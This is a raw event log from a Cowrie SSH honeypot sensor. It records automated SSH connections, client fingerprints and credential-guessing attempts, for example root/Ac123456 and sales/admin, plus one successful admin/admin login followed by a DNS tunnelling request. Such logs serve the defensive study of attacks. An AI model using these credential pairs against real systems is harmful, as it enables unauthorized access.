{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:24.502858Z","src_ip":"91.92.42.133","session":"7ddcb1806adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:24.505963Z","src_ip":"91.92.42.133","session":"7ddcb1806adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43604,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fcc030d474c","protocol":"ssh","message":"New connection: 87.251.79.125:43604 (10.17.0.5:22) [session: 8fcc030d474c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:24.797777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:24.801923Z","src_ip":"87.251.79.125","session":"8fcc030d474c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:24.872287Z","src_ip":"87.251.79.125","session":"8fcc030d474c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"really","message":"login attempt [root/really] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:25.084709Z","src_ip":"87.251.79.125","session":"8fcc030d474c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:25.955925Z","src_ip":"91.92.42.133","session":"7ddcb1806adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:26.160430Z","src_ip":"87.251.79.125","session":"8fcc030d474c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:27.072291Z","src_ip":"91.92.42.133","session":"7ddcb1806adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56254,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c68a0ee8388","protocol":"ssh","message":"New connection: 91.92.42.133:56254 (159.203.135.109:22) [session: 4c68a0ee8388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:31.726732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:32.037720Z","src_ip":"91.92.42.133","session":"4c68a0ee8388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:32.041481Z","src_ip":"91.92.42.133","session":"4c68a0ee8388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13606,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6a8d5634ab7","protocol":"ssh","message":"New connection: 87.251.64.176:13606 (10.17.0.5:22) [session: b6a8d5634ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:32.872186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:32.876416Z","src_ip":"87.251.64.176","session":"b6a8d5634ab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:32.969470Z","src_ip":"87.251.64.176","session":"b6a8d5634ab7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:33.252630Z","src_ip":"87.251.64.176","session":"b6a8d5634ab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:33.350133Z","session":"b6a8d5634ab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:33.446658Z","src_ip":"87.251.64.176","session":"b6a8d5634ab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:33.598764Z","src_ip":"91.92.42.133","session":"4c68a0ee8388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:33.676105Z","src_ip":"87.251.64.176","session":"b6a8d5634ab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:34.895048Z","src_ip":"91.92.42.133","session":"4c68a0ee8388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53752,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff623d21e5ae","protocol":"ssh","message":"New connection: 91.92.42.133:53752 (159.203.135.109:22) [session: ff623d21e5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:40.554043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:40.557693Z","src_ip":"91.92.42.133","session":"ff623d21e5ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:40.639246Z","src_ip":"91.92.42.133","session":"ff623d21e5ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:40.894058Z","src_ip":"91.92.42.133","session":"ff623d21e5ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:42.151158Z","src_ip":"91.92.42.133","session":"ff623d21e5ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.633495092391968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:45.526754Z","src_ip":"128.199.8.54","session":"b4ffe01edb0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37998,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e04f03eded","protocol":"ssh","message":"New connection: 91.92.42.133:37998 (159.203.135.109:22) [session: d1e04f03eded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:46.747808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:47.313238Z","src_ip":"91.92.42.133","session":"d1e04f03eded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:47.316814Z","src_ip":"91.92.42.133","session":"d1e04f03eded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:49.570020Z","src_ip":"91.92.42.133","session":"d1e04f03eded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:51.238067Z","src_ip":"91.92.42.133","session":"d1e04f03eded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46224,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a370789114","protocol":"ssh","message":"New connection: 91.92.42.133:46224 (159.203.135.109:22) [session: 84a370789114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:55.346033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:55.694098Z","src_ip":"91.92.42.133","session":"84a370789114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:55.701015Z","src_ip":"91.92.42.133","session":"84a370789114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:56.480399Z","src_ip":"91.92.42.133","session":"84a370789114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:57.595425Z","src_ip":"91.92.42.133","session":"84a370789114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":36796,"dst_ip":"159.203.135.109","dst_port":22,"session":"c96eae73f9f9","protocol":"ssh","message":"New connection: 112.216.108.62:36796 (159.203.135.109:22) [session: c96eae73f9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:57.656701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:57.661958Z","src_ip":"112.216.108.62","session":"c96eae73f9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:57.873302Z","src_ip":"112.216.108.62","session":"c96eae73f9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales","password":"admin","message":"login attempt [sales/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:58.749858Z","src_ip":"112.216.108.62","session":"c96eae73f9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.197.64","src_port":35948,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8dde6d8d8eb","protocol":"ssh","message":"New connection: 91.208.197.64:35948 (10.17.0.5:22) [session: d8dde6d8d8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.073161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.077548Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
